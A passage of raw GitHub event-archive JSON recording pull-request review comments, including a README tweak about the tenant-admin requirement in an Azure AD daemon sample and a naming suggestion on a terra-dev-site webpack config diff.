er}","contents_url":"https://api.github.com/repos/RS485/LogisticsPipes/contents/{+path}","compare_url":"https://api.github.com/repos/RS485/LogisticsPipes/compare/{base}...{head}","merges_url":"https://api.github.com/repos/RS485/LogisticsPipes/merges","archive_url":"https://api.github.com/repos/RS485/LogisticsPipes/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/RS485/LogisticsPipes/downloads","issues_url":"https://api.github.com/repos/RS485/LogisticsPipes/issues{/number}","pulls_url":"https://api.github.com/repos/RS485/LogisticsPipes/pulls{/number}","milestones_url":"https://api.github.com/repos/RS485/LogisticsPipes/milestones{/number}","notifications_url":"https://api.github.com/repos/RS485/LogisticsPipes/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/RS485/LogisticsPipes/labels{/name}","releases_url":"https://api.github.com/repos/RS485/LogisticsPipes/releases{/id}","deployments_url":"https://api.github.com/repos/RS485/LogisticsPipes/deployments","created_at":"2013-01-23T21:19:57Z","updated_at":"2019-05-28T19:32:30Z","pushed_at":"2019-05-29T23:42:38Z","git_url":"git://github.com/RS485/LogisticsPipes.git","ssh_url":"git@github.com:RS485/LogisticsPipes.git","clone_url":"https://github.com/RS485/LogisticsPipes.git","svn_url":"https://github.com/RS485/LogisticsPipes","homepage":"https://rs485.network","size":20503,"stargazers_count":170,"watchers_count":170,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":91,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":246,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":91,"open_issues":246,"watchers":170,"default_branch":"dev-mc1122"}},"_links":{"self":{"href":"https://api.github.com/repos/RS485/LogisticsPipes/pulls/1229"},"html":{"href":"https://github.com/RS485/LogisticsPipes/pull/1229"},"issue":{"href":"https://api.github.com/repos/RS485/LogisticsPipes/issues/1229"},"comments":{"href":"https://api.github.com/repos/RS485/LogisticsPipes/issues/1229/comments"},"review_comments":{"href":"https://api.github.com/repos/RS485/LogisticsPipes/pulls/1229/comments"},"review_comment":{"href":"https://api.github.com/repos/RS485/LogisticsPipes/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/RS485/LogisticsPipes/pulls/1229/commits"},"statuses":{"href":"https://api.github.com/repos/RS485/LogisticsPipes/statuses/ed0aca34c735c44bca28d6bdbe0d73dcd1001fa5"}},"author_association":"NONE"}}
|
{
"id": 7784091,
"name": "RS485/LogisticsPipes",
"url": "https://api.github.com/repos/RS485/LogisticsPipes"
}
|
{
"id": 3987560,
"login": "therealfarfetchd",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/3987560?",
"url": "https://api.github.com/users/therealfarfetchd"
}
|
{
"id": 1810136,
"login": "RS485",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1810136?",
"url": "https://api.github.com/orgs/RS485"
}
| 2019-05-30T11:32:34 |
9726472153
|
{"actor":{"display_login":"therealfarfetchd"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pulls/comments/291548847","pull_request_review_id":247033110,"id":291548847,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI5MTU0ODg0Nw==","diff_hunk":"@@ -50,68 +50,148 @@ To run this sample, you'll need:\n - [Visual Studio 2017](https://aka.ms/vsdownload) or another editor. See [Get Started with .NET Core](https://www.microsoft.com/net/core#windowsvs2017) for the list of tools you might want to use depending on your platform\n - An Internet connection\n - An Azure Active Directory (Azure AD) tenant. For more information on how to get an Azure AD tenant, see [How to get an Azure AD tenant](https://azure.microsoft.com/en-us/documentation/articles/active-directory-howto-tenant/)\n-- A user account in your Azure AD tenant. This sample will not work with a Microsoft account (formerly Windows Live account). Therefore, if you signed in to the [Azure portal](https://portal.azure.com) with a Microsoft account and have never created a user account in your directory before, you need to do that now.\n+- A user account that is an **admin of your Azure AD tenant**. This sample will not work with a Microsoft account (formerly Windows Live account). Therefore, if you signed in to the [Azure portal](https://portal.azure.com) with a Microsoft account and have never created a user account in your directory before, you need to do that now.","path":"README.md","position":5,"original_position":5,"commit_id":"6fe12ef251e0e28009b5cabd0b4b1e4bbd7f46c8","original_commit_id":"254bc1077ac28c1d5ae4effc612830fc88aaede9","user":{"login":"jmprieur","id":13203188,"node_id":"MDQ6VXNlcjEzMjAzMTg4","avatar_url":"https://avatars0.githubusercontent.com/u/13203188?v=4","gravatar_id":"","url":"https://api.github.com/users/jmprieur","html_url":"https://github.com/jmprieur","followers_url":"https://api.github.com/users/jmprieur/followers","following_url":"https://api.github.com/users/jmprieur/following{/other_user}","gists_url":"https://api.github.com/users/jmprieur/gists{/gist_id}","starred_url":"https://api.github.com/users/jmprieur/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jmprieur/subscriptions","organizations_url":"https://api.github.com/users/jmprieur/orgs","repos_url":"https://api.github.com/users/jmprieur/repos","events_url":"https://api.github.com/users/jmprieur/events{/privacy}","received_events_url":"https://api.github.com/users/jmprieur/received_events","type":"User","site_admin":false},"body":"a global admin","created_at":"2019-06-07T11:12:00Z","updated_at":"2019-06-07T11:24:44Z","html_url":"https://github.com/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pull/13#discussion_r291548847","pull_request_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pulls/13","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pulls/comments/291548847"},"html":{"href":"https://github.com/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pull/13#discussion_r291548847"},"pull_request":{"href":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pulls/13"}}},"pull_request":{"url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pulls/13","id":285992046,"node_id":"MDExOlB1bGxSZXF1ZXN0Mjg1OTkyMDQ2","html_url":"https://github.com/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pull/13","diff_url":"https://github.com/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pull/13.diff","patch_url":"https://github.com/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pull/13.patch","issue_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/issues/13","number":13,"state":"open","locked":false,"title":"Using AppRoles to protect the WebAPI","user":{"login":"TiagoBrenck","id":16087102,"node_id":"MDQ6VXNlcjE2MDg3MTAy","avatar_url":"https://avatars1.githubusercontent.com/u/16087102?v=4","gravatar_id":"","url":"https://api.github.com/users/TiagoBrenck","html_url":"https://github.com/TiagoBrenck","followers_url":"https://api.github.com/users/TiagoBrenck/followers","following_url":"https://api.github.com/users/TiagoBrenck/following{/other_user}","gists_url":"https://api.github.com/users/TiagoBrenck/gists{/gist_id}","starred_url":"https://api.github.com/users/TiagoBrenck/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/TiagoBrenck/subscriptions","organizations_url":"https://api.github.com/users/TiagoBrenck/orgs","repos_url":"https://api.github.com/users/TiagoBrenck/repos","events_url":"https://api.github.com/users/TiagoBrenck/events{/privacy}","received_events_url":"https://api.github.com/users/TiagoBrenck/received_events","type":"User","site_admin":false},"body":"- Added AppRoles to protect API\r\n- Updated README\r\n- Updated Configure.ps1","created_at":"2019-06-06T22:29:21Z","updated_at":"2019-06-07T11:24:43Z","closed_at":null,"merged_at":null,"merge_commit_sha":"40bc7d91092859f806ecda9953c9699203865026","assignee":null,"assignees":[],"requested_reviewers":[{"login":"kalyankrishna1","id":305465,"node_id":"MDQ6VXNlcjMwNTQ2NQ==","avatar_url":"https://avatars2.githubusercontent.com/u/305465?v=4","gravatar_id":"","url":"https://api.github.com/users/kalyankrishna1","html_url":"https://github.com/kalyankrishna1","followers_url":"https://api.github.com/users/kalyankrishna1/followers","following_url":"https://api.github.com/users/kalyankrishna1/following{/other_user}","gists_url":"https://api.github.com/users/kalyankrishna1/gists{/gist_id}","starred_url":"https://api.github.com/users/kalyankrishna1/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kalyankrishna1/subscriptions","organizations_url":"https://api.github.com/users/kalyankrishna1/orgs","repos_url":"https://api.github.com/users/kalyankrishna1/repos","events_url":"https://api.github.com/users/kalyankrishna1/events{/privacy}","received_events_url":"https://api.github.com/users/kalyankrishna1/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pulls/13/commits","review_comments_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pulls/13/comments","review_comment_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pulls/comments{/number}","comments_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/issues/13/comments","statuses_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/statuses/6fe12ef251e0e28009b5cabd0b4b1e4bbd7f46c8","head":{"label":"Azure-Samples:tibre/secureApi","ref":"tibre/secureApi","sha":"6fe12ef251e0e28009b5cabd0b4b1e4bbd7f46c8","user":{"login":"Azure-Samples","id":1844662,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE4NDQ2NjI=","avatar_url":"https://avatars2.githubusercontent.com/u/1844662?v=4","gravatar_id":"","url":"https://api.github.com/users/Azure-Samples","html_url":"https://github.com/Azure-Samples","followers_url":"https://api.github.com/users/Azure-Samples/followers","following_url":"https://api.github.com/users/Azure-Samples/following{/other_user}","gists_url":"https://api.github.com/users/Azure-Samples/gists{/gist_id}","starred_url":"https://api.github.com/users/Azure-Samples/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Azure-Samples/subscriptions","organizations_url":"https://api.github.com/users/Azure-Samples/orgs","repos_url":"https://api.github.com/users/Azure-Samples/repos","events_url":"https://api.github.com/users/Azure-Samples/events{/privacy}","received_events_url":"https://api.github.com/users/Azure-Samples/received_events","type":"Organization","site_admin":false},"repo":{"id":95451082,"node_id":"MDEwOlJlcG9zaXRvcnk5NTQ1MTA4Mg==","name":"active-directory-dotnetcore-daemon-certificate-credential","full_name":"Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential","private":false,"owner":{"login":"Azure-Samples","id":1844662,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE4NDQ2NjI=","avatar_url":"https://avatars2.githubusercontent.com/u/1844662?v=4","gravatar_id":"","url":"https://api.github.com/users/Azure-Samples","html_url":"https://github.com/Azure-Samples","followers_url":"https://api.github.com/users/Azure-Samples/followers","following_url":"https://api.github.com/users/Azure-Samples/following{/other_user}","gists_url":"https://api.github.com/users/Azure-Samples/gists{/gist_id}","starred_url":"https://api.github.com/users/Azure-Samples/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Azure-Samples/subscriptions","organizations_url":"https://api.github.com/users/Azure-Samples/orgs","repos_url":"https://api.github.com/users/Azure-Samples/repos","events_url":"https://api.github.com/users/Azure-Samples/events{/privacy}","received_events_url":"https://api.github.com/users/Azure-Samples/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential","description":"A .NET core daemon application that uses a certificate to authenticate with Azure AD and get OAuth 2.0 access tokens to a .NET core web api","fork":false,"url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential","forks_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/forks","keys_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/teams","hooks_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/hooks","issue_events_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/issues/events{/number}","events_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/events","assignees_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/assignees{/user}","branches_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/branches{/branch}","tags_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/tags","blobs_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/git/refs{/sha}","trees_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/statuses/{sha}","languages_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/languages","stargazers_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/stargazers","contributors_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/contributors","subscribers_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/subscribers","subscription_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/subscription","commits_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/commits{/sha}","git_commits_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/git/commits{/sha}","comments_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/comments{/number}","issue_comment_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/issues/comments{/number}","contents_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/contents/{+path}","compare_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/merges","archive_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/downloads","issues_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/issues{/number}","pulls_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pulls{/number}","milestones_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/milestones{/number}","notifications_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/labels{/name}","releases_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/releases{/id}","deployments_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/deployments","created_at":"2017-06-26T13:47:58Z","updated_at":"2019-04-03T07:15:31Z","pushed_at":"2019-06-07T11:21:12Z","git_url":"git://github.com/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential.git","ssh_url":"git@github.com:Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential.git","clone_url":"https://github.com/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential.git","svn_url":"https://github.com/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential","homepage":null,"size":155,"stargazers_count":17,"watchers_count":17,"language":"C#","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":11,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":3,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":11,"open_issues":3,"watchers":17,"default_branch":"master"}},"base":{"label":"Azure-Samples:master","ref":"master","sha":"eda76aab867b7001cc8a762cee7dac0eff8c8374","user":{"login":"Azure-Samples","id":1844662,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE4NDQ2NjI=","avatar_url":"https://avatars2.githubusercontent.com/u/1844662?v=4","gravatar_id":"","url":"https://api.github.com/users/Azure-Samples","html_url":"https://github.com/Azure-Samples","followers_url":"https://api.github.com/users/Azure-Samples/followers","following_url":"https://api.github.com/users/Azure-Samples/following{/other_user}","gists_url":"https://api.github.com/users/Azure-Samples/gists{/gist_id}","starred_url":"https://api.github.com/users/Azure-Samples/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Azure-Samples/subscriptions","organizations_url":"https://api.github.com/users/Azure-Samples/orgs","repos_url":"https://api.github.com/users/Azure-Samples/repos","events_url":"https://api.github.com/users/Azure-Samples/events{/privacy}","received_events_url":"https://api.github.com/users/Azure-Samples/received_events","type":"Organization","site_admin":false},"repo":{"id":95451082,"node_id":"MDEwOlJlcG9zaXRvcnk5NTQ1MTA4Mg==","name":"active-directory-dotnetcore-daemon-certificate-credential","full_name":"Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential","private":false,"owner":{"login":"Azure-Samples","id":1844662,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE4NDQ2NjI=","avatar_url":"https://avatars2.githubusercontent.com/u/1844662?v=4","gravatar_id":"","url":"https://api.github.com/users/Azure-Samples","html_url":"https://github.com/Azure-Samples","followers_url":"https://api.github.com/users/Azure-Samples/followers","following_url":"https://api.github.com/users/Azure-Samples/following{/other_user}","gists_url":"https://api.github.com/users/Azure-Samples/gists{/gist_id}","starred_url":"https://api.github.com/users/Azure-Samples/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Azure-Samples/subscriptions","organizations_url":"https://api.github.com/users/Azure-Samples/orgs","repos_url":"https://api.github.com/users/Azure-Samples/repos","events_url":"https://api.github.com/users/Azure-Samples/events{/privacy}","received_events_url":"https://api.github.com/users/Azure-Samples/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential","description":"A .NET core daemon application that uses a certificate to authenticate with Azure AD and get OAuth 2.0 access tokens to a .NET core web api","fork":false,"url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential","forks_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/forks","keys_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/teams","hooks_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/hooks","issue_events_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/issues/events{/number}","events_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/events","assignees_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/assignees{/user}","branches_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/branches{/branch}","tags_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/tags","blobs_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/git/refs{/sha}","trees_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/statuses/{sha}","languages_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/languages","stargazers_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/stargazers","contributors_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/contributors","subscribers_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/subscribers","subscription_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/subscription","commits_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/commits{/sha}","git_commits_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/git/commits{/sha}","comments_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/comments{/number}","issue_comment_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/issues/comments{/number}","contents_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/contents/{+path}","compare_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/merges","archive_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/downloads","issues_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/issues{/number}","pulls_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pulls{/number}","milestones_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/milestones{/number}","notifications_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/labels{/name}","releases_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/releases{/id}","deployments_url":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/deployments","created_at":"2017-06-26T13:47:58Z","updated_at":"2019-04-03T07:15:31Z","pushed_at":"2019-06-07T11:21:12Z","git_url":"git://github.com/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential.git","ssh_url":"git@github.com:Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential.git","clone_url":"https://github.com/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential.git","svn_url":"https://github.com/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential","homepage":null,"size":155,"stargazers_count":17,"watchers_count":17,"language":"C#","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":11,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":3,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":11,"open_issues":3,"watchers":17,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pulls/13"},"html":{"href":"https://github.com/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pull/13"},"issue":{"href":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/issues/13"},"comments":{"href":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/issues/13/comments"},"review_comments":{"href":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pulls/13/comments"},"review_comment":{"href":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/pulls/13/commits"},"statuses":{"href":"https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential/statuses/6fe12ef251e0e28009b5cabd0b4b1e4bbd7f46c8"}},"author_association":"NONE"}}
|
{
"id": 95451082,
"name": "Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential",
"url": "https://api.github.com/repos/Azure-Samples/active-directory-dotnetcore-daemon-certificate-credential"
}
|
{
"id": 13203188,
"login": "jmprieur",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/13203188?",
"url": "https://api.github.com/users/jmprieur"
}
|
{
"id": 1844662,
"login": "Azure-Samples",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1844662?",
"url": "https://api.github.com/orgs/Azure-Samples"
}
| 2019-06-07T11:12:00 |
9778230560
|
{"actor":{"display_login":"jmprieur"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/cerner/terra-dev-site/pulls/comments/307749903","pull_request_review_id":267196719,"id":307749903,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMwNzc0OTkwMw==","diff_hunk":"@@ -79,25 +103,49 @@ const devSiteConfig = (env = {}, argv = {}) => {\n console.log('Generated Aliases', alias);\n }\n \n+ const indexEntryPoints = [];\n+ indexEntryPoints.push('terra-dev-site');\n+ // Strip the trailing / from the public path.\n+ const basename = publicPath.slice(0, -1);\n+\n return {\n entry: {\n 'terra-dev-site': path.resolve(path.join(__dirname, '..', '..', 'lib', 'Index')),\n+ rewriteHistory: path.resolve(path.join(__dirname, '..', '..', 'lib', 'rewriteHistory')),\n+ redirect: path.resolve(path.join(__dirname, '..', '..', 'lib', 'redirect')),\n },\n plugins: [\n- new HtmlWebpackPlugin({\n+ // terra-dev-site index.html\n+ indexPlugin({","path":"config/webpack/terra-dev-site.webpack.config.js","position":63,"original_position":63,"commit_id":"3a817ff88f542c3eab30c224702886303f3022fb","original_commit_id":"7e27b0c0853b0383eb0ed3aed701009f5d78f54c","user":{"login":"emilyrohrbough","id":14099737,"node_id":"MDQ6VXNlcjE0MDk5NzM3","avatar_url":"https://avatars1.githubusercontent.com/u/14099737?v=4","gravatar_id":"","url":"https://api.github.com/users/emilyrohrbough","html_url":"https://github.com/emilyrohrbough","followers_url":"https://api.github.com/users/emilyrohrbough/followers","following_url":"https://api.github.com/users/emilyrohrbough/following{/other_user}","gists_url":"https://api.github.com/users/emilyrohrbough/gists{/gist_id}","starred_url":"https://api.github.com/users/emilyrohrbough/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/emilyrohrbough/subscriptions","organizations_url":"https://api.github.com/users/emilyrohrbough/orgs","repos_url":"https://api.github.com/users/emilyrohrbough/repos","events_url":"https://api.github.com/users/emilyrohrbough/events{/privacy}","received_events_url":"https://api.github.com/users/emilyrohrbough/received_events","type":"User","site_admin":false},"body":"maybe renaming this to `devSiteHtmlWepbackPlugin` could remove need for comment 🤷♀ ","created_at":"2019-07-26T13:47:33Z","updated_at":"2019-07-26T13:47:33Z","html_url":"https://github.com/cerner/terra-dev-site/pull/175#discussion_r307749903","pull_request_url":"https://api.github.com/repos/cerner/terra-dev-site/pulls/175","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/cerner/terra-dev-site/pulls/comments/307749903"},"html":{"href":"https://github.com/cerner/terra-dev-site/pull/175#discussion_r307749903"},"pull_request":{"href":"https://api.github.com/repos/cerner/terra-dev-site/pulls/175"}}},"pull_request":{"url":"https://api.github.com/repos/cerner/terra-dev-site/pulls/175","id":300539826,"node_id":"MDExOlB1bGxSZXF1ZXN0MzAwNTM5ODI2","html_url":"https://github.com/cerner/terra-dev-site/pull/175","diff_url":"https://github.com/cerner/terra-dev-site/pull/175.diff","patch_url":"https://github.com/cerner/terra-dev-site/pull/175.patch","issue_url":"https://api.github.com/repos/cerner/terra-dev-site/issues/175","number":175,"state":"open","locked":false,"title":"V6","user":{"login":"mjhenkes","id":1588747,"node_id":"MDQ6VXNlcjE1ODg3NDc=","avatar_url":"https://avatars2.githubusercontent.com/u/1588747?v=4","gravatar_id":"","url":"https://api.github.com/users/mjhenkes","html_url":"https://github.com/mjhenkes","followers_url":"https://api.github.com/users/mjhenkes/followers","following_url":"https://api.github.com/users/mjhenkes/following{/other_user}","gists_url":"https://api.github.com/users/mjhenkes/gists{/gist_id}","starred_url":"https://api.github.com/users/mjhenkes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mjhenkes/subscriptions","organizations_url":"https://api.github.com/users/mjhenkes/orgs","repos_url":"https://api.github.com/users/mjhenkes/repos","events_url":"https://api.github.com/users/mjhenkes/events{/privacy}","received_events_url":"https://api.github.com/users/mjhenkes/received_events","type":"User","site_admin":false},"body":"### Summary\r\n* The browser router is now used instead of the hash router.\r\n* consumed new terra-application and terra-application-navigation packages\r\n* add devToolbar\r\n* new collapsible side navigation\r\n* added a site search.\r\n* added support for application switching\r\n* dev-site is now code split for faster loading\r\n* Removed the hide option from 